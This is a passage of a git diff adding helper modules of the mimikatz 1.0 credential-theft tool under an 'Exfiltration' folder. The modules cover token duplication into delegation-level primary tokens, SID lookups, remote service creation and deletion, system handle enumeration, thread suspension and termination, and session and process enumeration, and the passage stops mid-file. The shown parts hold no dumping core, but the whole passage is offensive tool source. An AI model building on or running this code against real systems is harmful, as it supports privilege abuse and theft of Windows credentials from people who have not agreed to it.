monDomain = new wchar_t[dwSizeDomain]; + if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0) + { + strName->assign(monNom); + if(domainName) + domainName->assign(monDomain); + + if(usage) + *usage = nameUse; + } + delete[] monDomain; + delete[] monNom; + } + + return reussite; +} + +bool mod_secacl::simpleSidToString(PSID Sid, wstring * String) +{ + wstring userName; + wstring domaineName; + String->clear(); + + if(Sid) + { + if(mod_secacl::sidToName(Sid, &userName, &domaineName)) + { + String->assign(domaineName); + String->push_back(L'\\'); + String->append(userName); + } + else + mod_secacl::sidToStrSid(Sid, String); + } + if(String->empty()) + String->assign(L"(null)"); + + return true; +} + +bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD szNeeded = 0; + if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + BYTE * mesDonnees = new BYTE[szNeeded]; + if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded)) + { + TOKEN_USER * monUser = reinterpret_cast<TOKEN_USER *>(mesDonnees); + reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage); + } + delete[] mesDonnees; + } + + return reussite; +} + +bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle) +{ + bool reussite = false; + HANDLE secToken; + if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0) + { + CloseHandle(*tokenHandle); + *tokenHandle = secToken; + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h new file mode 100644 index 0000000..5e8aa04 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <aclapi.h> +#include <sddl.h> + +using namespace std; + +class mod_secacl +{ +public: + static bool simpleSidToString(PSID Sid, wstring * String); + static bool sidToStrSid(PSID Sid, wstring * strSid); + static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT); + static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + + static bool exchangeDupToken(HANDLE * tokenHandle); + static bool addWorldToMimikatz(SC_HANDLE * monHandle); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp new file mode 100644 index 0000000..c234481 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp @@ -0,0 +1,142 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_service.h" + +bool mod_service::getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName) // machine non implémenté +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE)) + { + DWORD tailleRequise = 0; + DWORD nbServices = 0; + DWORD resumeHandle = 0; + + if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA) + { + BYTE * servicesBuff = new BYTE[tailleRequise]; + ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast<ENUM_SERVICE_STATUS_PROCESS *>(servicesBuff); + if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) + { + for(DWORD i = 0; i < nbServices; i++) + { + KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess}; + monVectorService->push_back(monService); + } + } + delete[] servicesBuff; + error = GetLastError(); + } + + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implémenté +{ + bool reussite = false; + + vector<KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<KIWI_SERVICE_STATUS_PROCESS>(); + if(getList(vectorServices, machineName)) + { + for(vector<KIWI_SERVICE_STATUS_PROCESS>::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++) + { + if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0)) + { + *monService = *monSvc; + break; + } + } + } + delete vectorServices; + + return reussite; +} + +bool mod_service::start(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START)) + { + if(!(reussite = StartService(monService, 0, NULL) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + + return reussite; +} + +bool mod_service::remove(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE)) + { + if(!(reussite = DeleteService(monService) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + +bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess)) + { + if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::stop(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName)); +} + +bool mod_service::suspend(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName)); +} + +bool mod_service::resume(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName)); +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h new file mode 100644 index 0000000..b438454 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.h @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" + +class mod_service +{ +private: + static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL); + +public: + typedef struct _KIWI_SERVICE_STATUS_PROCESS + { + wstring serviceName; + wstring serviceDisplayName; + SERVICE_STATUS_PROCESS ServiceStatusProcess; + } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS; + + static bool getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName = NULL); + static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL); + + static bool start(wstring * serviceName, wstring * machineName = NULL); + static bool suspend(wstring * serviceName, wstring * machineName = NULL); + static bool resume(wstring * serviceName, wstring * machineName = NULL); + static bool stop(wstring * serviceName, wstring * machineName = NULL); + + static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ? + + static bool add(wstring * binPath, vector<wstring> * arguments); // bla bla + static bool remove(wstring * serviceName, wstring * machineName = NULL); + static bool control(vector<wstring> * arguments); + +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp new file mode 100644 index 0000000..7a79a76 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp @@ -0,0 +1,208 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_system.h" + +OSVERSIONINFOEX mod_system::GLOB_Version; + +wstring mod_system::getWinError(bool automatique, DWORD code) +{ + bool reussite = false; + DWORD dwError = (automatique ? GetLastError() : code); + wostringstream resultat; + wchar_t * monBuffer = NULL; + + resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')'; + if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0)) + reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0; + + if(reussite) + { + resultat << L' ' << monBuffer; + LocalFree(monBuffer); + } + else resultat << L" * Impossible d\'obtenir un message *"; + + return resultat.str(); +} + +bool mod_system::getUserName(wstring * monUserName) +{ + bool reussite = false; + unsigned long tailleRequise = 0; + + if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0)) + { + monUserName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getComputerName(wstring * monComputerName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0)) + { + monComputerName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getVersion(OSVERSIONINFOEX * maVersion) +{ + RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX)); + maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + return (GetVersionEx(reinterpret_cast<LPOSVERSIONINFO>(maVersion)) != 0); +} + +bool mod_system::getCurrentDirectory(wstring * monRepertoire) +{ + bool reussite = false; + DWORD tailleRequise = GetCurrentDirectory(0, NULL); + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1) + { + monRepertoire->assign(monBuffer); + reussite = true; + } + delete monBuffer; + return reussite; +} + +bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse) +{ + bool reussite = false; + wchar_t monBuffer[MAX_PATH]; + + if(PathIsRelative(thisData.c_str())) + { + wstring monRep = L""; + if(reussite = getCurrentDirectory(&monRep)) + { + PathCombine(monBuffer, monRep.c_str(), thisData.c_str()); + reponse->assign(monBuffer); + } + } + else + { + if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0)) + { + reponse->assign(monBuffer); + } + } + return reussite; +} + +bool mod_system::isFileExist(std::wstring &fichier, bool *resultat) +{ + bool reussite = false; + HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE)) + { + CloseHandle(monFichier); + *resultat = true; + } + else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND)) + { + *resultat = false; + } + return reussite; +} + +bool mod_system::getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid) +{ + bool reussite = false; + + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { + DWORD size = 0x10000; + BYTE * monBuffer = new BYTE[size]; + ULONG sizeReturn = 0; + NTSTATUS status; + + while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH) + { + delete[] monBuffer; + size <<= 1; + monBuffer = new BYTE[size]; + } + + if(reussite = NT_SUCCESS(status)) + { + PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(monBuffer); + for(DWORD i = 0; i < mesInfos->HandleCount; i++) + { + if(!pid || *pid == mesInfos->Handles[i].ProcessId) + mesHandles->push_back(mesInfos->Handles[i]); + } + } + + delete[] monBuffer; + } + + return reussite; +} + +bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo) +{ + bool reussite = false; + + if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast<PNT_QUERY_OBJECT>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject"))) + { + DWORD tailleRequise = 0; + + if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH) + { + *buffer = new BYTE[tailleRequise]; + if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise)))) + { + delete[] buffer; + } + } + } + + return reussite; +} + +bool mod_system::getHandleType(HANDLE monHandle, wstring * strType) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation)) + { + POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(monBuffer); + strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getHandleName(HANDLE monHandle, wstring * strName) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation)) + { + PUNICODE_STRING typeName = reinterpret_cast<PUNICODE_STRING>(monBuffer); + strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h new file mode 100644 index 0000000..7f41190 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ntddk.h" +#include <security.h> +#include <shlwapi.h> +#include <sstream> +#include <iomanip> + +class mod_system +{ +private: + static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo); + +public: + static wstring getWinError(bool automatique = true, DWORD code = 0); + + static bool getUserName(wstring * monUserName); + static bool getComputerName(wstring *monComputerName); + static bool getVersion(OSVERSIONINFOEX * maVersion); + + static bool isFileExist(std::wstring &fichier, bool *resultat); + static bool getCurrentDirectory(wstring * monRepertoire); + static bool getAbsolutePathOf(wstring &thisData, wstring *reponse); + static bool getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid = NULL); // type ?? + static bool getHandleType(HANDLE monHandle, wstring * strType); + static bool getHandleName(HANDLE monHandle, wstring * strName); + + static OSVERSIONINFOEX GLOB_Version; +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp new file mode 100644 index 0000000..98de950 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp @@ -0,0 +1,101 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_text.h" + +PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast<PRTL_INIT_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString")); +PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); + +wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur) +{ + wostringstream monStream; + for(DWORD j = 0; j < maTaille; j++) + { + monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j]; + if(longueur != 0) + { + monStream << L' '; + if ((j + 1) % longueur == 0) + monStream << endl; + } + } + return monStream.str(); +} + +wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne) +{ + wstring result; + if(monTab && maTaille > 0) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/; + if(IsTextUnicode(monTab, maTaille, &flags)) + { + result.assign(reinterpret_cast<const wchar_t *>(monTab), maTaille / sizeof(wchar_t)); + } + else + { + if(ligne) + result.assign(L"\n"); + result.append(stringOfHex(monTab, maTaille, longueur)); + } + } + else result.assign(L"<NULL>"); + + return result; +} + +void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[]) +{ + wstringstream z; + unsigned int temp; + for(size_t i = 0; i < maChaine.size() / 2; i++) + { + z.clear(); + z << maChaine.substr(i * 2, 2); z >> hex >> temp; + monTab[i] = temp; + } +} + +bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix) +{ + if(str && suffix) + { + size_t str_len = wcslen(str), suffix_len = wcslen(suffix); + return wstr_ends_with(str, str_len, suffix, suffix_len); + } + return false; +} + +bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len) +{ + if(str && suffix && (suffix_len <= str_len)) + return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0); + return false; +} + +wstring mod_text::stringOfSTRING(UNICODE_STRING maString) +{ + return wstring(maString.Buffer, maString.Length / sizeof(wchar_t)); +} +string mod_text::stringOfSTRING(STRING maString) +{ + return string(maString.Buffer, maString.Length); +} + +void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]) +{ + RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t)); + RtlInitUnicodeString(LsaString, monBuffer); +} + +LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart) +{ + LUID monLUID = {0, 0}; + wstringstream z; + z << highPart; z >> monLUID.HighPart; + z.clear(); + z << lowPart; z >> monLUID.LowPart; + return monLUID; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h new file mode 100644 index 0000000..aeadd95 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.h @@ -0,0 +1,31 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sstream> +#include <iomanip> + +using namespace std; + +class mod_text +{ +public: + static PRTL_INIT_STRING RtlInitString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + + static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0); + static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true); + static void wstringHexToByte(wstring &maChaine, BYTE monTab[]); + + static wstring stringOfSTRING(UNICODE_STRING maString); + static string stringOfSTRING(STRING maString); + + static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix); + static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len); + + static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]); + static LUID wstringsToLUID(wstring &highPart, wstring &lowPart); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp new file mode 100644 index 0000000..d57b4f4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_thread.h" + +bool mod_thread::getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId) +{ + bool reussite = false; + + HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if(hThreadsSnapshot != INVALID_HANDLE_VALUE) + { + THREADENTRY32 monThread; + monThread.dwSize = sizeof(THREADENTRY32); + + if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0)) + { + do + { + if(!processId || (*processId == monThread.th32OwnerProcessID)) + monVecteurThreads->push_back(monThread); + } while(Thread32Next(hThreadsSnapshot, &monThread)); + } + CloseHandle(hThreadsSnapshot); + } + + return reussite; +} + +bool mod_thread::suspend(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + SuspendThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::resume(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + ResumeThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::stop(DWORD & threadId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + TerminateThread(monHandle, exitCode); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::quit(DWORD & threadId) +{ + return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h new file mode 100644 index 0000000..a2f62f9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <tlhelp32.h> + +class mod_thread +{ +public: + static bool getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId = NULL); + + static bool suspend(DWORD & threadId); + static bool resume(DWORD & threadId); + static bool stop(DWORD & threadId, DWORD exitCode = 0); + static bool quit(DWORD & threadId); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp new file mode 100644 index 0000000..97c5fb0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp @@ -0,0 +1,106 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_ts.h" + +bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt) +{ + bool reussite = false; + + if(reussite = !server) + { + *phServer = WTS_CURRENT_SERVER_HANDLE; + } + else + { + wchar_t * serverName = _wcsdup(server->c_str()); + *phServer = WTSOpenServer(serverName); + delete[] serverName; + reussite = *phServer != NULL; + } + return reussite; +} + +bool mod_ts::closeServer(HANDLE hServer) +{ + if(hServer != WTS_CURRENT_SERVER_HANDLE) + WTSCloseServer(hServer); + + return true; +} + +bool mod_ts::getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server) +{ + bool reussite = false; + + PWTS_SESSION_INFO tabSessions; + DWORD nbSessions = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0) + { + for(DWORD i = 0; i < nbSessions; i++) + { + KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName}; + mesSessions->push_back(a); + } + WTSFreeMemory(tabSessions); + } + closeServer(hServer); + } + + return reussite; +} + +bool mod_ts::getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server) +{ + bool reussite = false; + + PWTS_PROCESS_INFO tabProcess; + DWORD nbProcess = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0) + { + for(DWORD i = 0; i < nbProcess; i++) + { + KIWI_WTS_PROCESS_INFO a = { + tabProcess[i].SessionId, + tabProcess[i].ProcessId, + tabProcess[i].pProcessName + }; + + wstring user; + wstring domain; + if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server)) + { + a.userSid.assign(domain); + a.userSid.push_back(L'\\'); + a.userSid.append(user); + } + else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid)) + { + if(tabProcess[i].pUserSid) + { + a.userSid.assign(L"erreur SID ; "); + a.userSid.append(mod_system::getWinError()); + } + else + a.userSid.assign(L"n.a."); + } + + mesProcesses->push_back(a); + } + WTSFreeMemory(tabProcess); + } + closeServer(hServer); + } + + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h new file mode 100644 index 0000000..6815bb8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.h @@ -0,0 +1,35 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" +#include "mod_system.h" +#include <wtsapi32.h> + +class mod_ts +{ +private: + static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true); + static bool closeServer(HANDLE hServer); + +public: + typedef struct _KIWI_WTS_SESSION_INFO { + DWORD id; + DWORD state; + wstring sessionName; + } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO; + + typedef struct _KIWI_WTS_PROCESS_INFO { + DWORD sessionId; + DWORD pid; + wstring processName; + wstring userSid; + } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO; + + static bool getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server = NULL); + static bool getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server = NULL); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp new file mode 100644 index 0000000..a54c5b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : 